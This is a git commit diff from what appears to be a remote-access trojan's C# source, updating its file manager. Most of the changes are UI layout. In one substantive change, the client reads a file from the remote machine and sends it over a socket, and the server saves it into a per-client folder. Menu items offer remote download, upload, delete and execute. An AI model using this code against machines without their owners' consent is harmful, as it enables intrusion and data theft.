Update filemanager

This commit is contained in:
NYAN CAT 2019-06-15 11:52:11 +03:00
parent aed29f61ae
commit 71650d53c7
4 changed files with 756 additions and 752 deletions

View File

@ -112,7 +112,7 @@ namespace Client.Handle_Packet
msgpack2.ForcePathObject("Command").AsString = "save"; msgpack2.ForcePathObject("Command").AsString = "save";
msgpack2.ForcePathObject("DWID").AsString = dwid; msgpack2.ForcePathObject("DWID").AsString = dwid;
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
msgpack2.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(file)); msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
tempSocket.Send(msgpack2.Encode2Bytes()); tempSocket.Send(msgpack2.Encode2Bytes());
tempSocket.Dispose(); tempSocket.Dispose();
} }

View File

@ -37,8 +37,10 @@
this.backToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.backToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.rEFRESHToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.rEFRESHToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uPLOADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.uPLOADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
this.dELETEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.dELETEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.eXECUTEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.eXECUTEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.imageList1 = new System.Windows.Forms.ImageList(this.components);
@ -46,8 +48,6 @@
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
this.timer1 = new System.Windows.Forms.Timer(this.components); this.timer1 = new System.Windows.Forms.Timer(this.components);
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
this.contextMenuStrip1.SuspendLayout(); this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout();
this.SuspendLayout(); this.SuspendLayout();
@ -67,7 +67,7 @@
this.listView1.Location = new System.Drawing.Point(0, 1); this.listView1.Location = new System.Drawing.Point(0, 1);
this.listView1.Name = "listView1"; this.listView1.Name = "listView1";
this.listView1.ShowItemToolTips = true; this.listView1.ShowItemToolTips = true;
this.listView1.Size = new System.Drawing.Size(979, 427); this.listView1.Size = new System.Drawing.Size(1058, 511);
this.listView1.SmallImageList = this.imageList1; this.listView1.SmallImageList = this.imageList1;
this.listView1.TabIndex = 0; this.listView1.TabIndex = 0;
this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.UseCompatibleStateImageBehavior = false;
@ -88,52 +88,62 @@
this.dELETEToolStripMenuItem, this.dELETEToolStripMenuItem,
this.eXECUTEToolStripMenuItem}); this.eXECUTEToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1"; this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(241, 247); this.contextMenuStrip1.Size = new System.Drawing.Size(189, 214);
// //
// backToolStripMenuItem // backToolStripMenuItem
// //
this.backToolStripMenuItem.Name = "backToolStripMenuItem"; this.backToolStripMenuItem.Name = "backToolStripMenuItem";
this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.backToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
this.backToolStripMenuItem.Text = "BACK"; this.backToolStripMenuItem.Text = "BACK";
this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);
// //
// toolStripSeparator1 // toolStripSeparator1
// //
this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6); this.toolStripSeparator1.Size = new System.Drawing.Size(185, 6);
// //
// rEFRESHToolStripMenuItem // rEFRESHToolStripMenuItem
// //
this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem"; this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem";
this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
this.rEFRESHToolStripMenuItem.Text = "REFRESH"; this.rEFRESHToolStripMenuItem.Text = "REFRESH";
this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click); this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click);
// //
// toolStripSeparator2
//
this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(185, 6);
//
// downloadToolStripMenuItem // downloadToolStripMenuItem
// //
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.downloadToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
this.downloadToolStripMenuItem.Text = "DOWNLOAD"; this.downloadToolStripMenuItem.Text = "DOWNLOAD";
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
// //
// uPLOADToolStripMenuItem // uPLOADToolStripMenuItem
// //
this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem"; this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem";
this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
this.uPLOADToolStripMenuItem.Text = "UPLOAD"; this.uPLOADToolStripMenuItem.Text = "UPLOAD";
this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click); this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click);
// //
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(185, 6);
//
// dELETEToolStripMenuItem // dELETEToolStripMenuItem
// //
this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem"; this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem";
this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
this.dELETEToolStripMenuItem.Text = "DELETE FILE"; this.dELETEToolStripMenuItem.Text = "DELETE FILE";
this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click); this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click);
// //
// eXECUTEToolStripMenuItem // eXECUTEToolStripMenuItem
// //
this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem"; this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem";
this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
this.eXECUTEToolStripMenuItem.Text = "EXECUTE"; this.eXECUTEToolStripMenuItem.Text = "EXECUTE";
this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click); this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click);
// //
@ -151,9 +161,9 @@
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripStatusLabel1, this.toolStripStatusLabel1,
this.toolStripStatusLabel2}); this.toolStripStatusLabel2});
this.statusStrip1.Location = new System.Drawing.Point(0, 429); this.statusStrip1.Location = new System.Drawing.Point(0, 513);
this.statusStrip1.Name = "statusStrip1"; this.statusStrip1.Name = "statusStrip1";
this.statusStrip1.Size = new System.Drawing.Size(979, 32); this.statusStrip1.Size = new System.Drawing.Size(1058, 32);
this.statusStrip1.TabIndex = 2; this.statusStrip1.TabIndex = 2;
this.statusStrip1.Text = "statusStrip1"; this.statusStrip1.Text = "statusStrip1";
// //
@ -175,21 +185,11 @@
this.timer1.Interval = 1000; this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
// //
// toolStripSeparator2
//
this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(237, 6);
//
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6);
//
// FormFileManager // FormFileManager
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(979, 461); this.ClientSize = new System.Drawing.Size(1058, 545);
this.Controls.Add(this.statusStrip1); this.Controls.Add(this.statusStrip1);
this.Controls.Add(this.listView1); this.Controls.Add(this.listView1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));

File diff suppressed because it is too large Load Diff

View File

@ -172,20 +172,24 @@ namespace Server.Handle_Packet
{ {
Program.form1.BeginInvoke((MethodInvoker)(async () => Program.form1.BeginInvoke((MethodInvoker)(async () =>
{ {
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; try
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
if (SD != null)
{ {
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
return; FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); if (SD != null)
if (File.Exists(filename))
{ {
File.Delete(filename); if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
await Task.Delay(500); return;
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
if (File.Exists(filename))
{
File.Delete(filename);
await Task.Delay(500);
}
await unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
} }
File.WriteAllBytes(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString), unpack_msgpack.ForcePathObject("File").GetAsBytes());
} }
catch { }
})); }));
} }
break; break;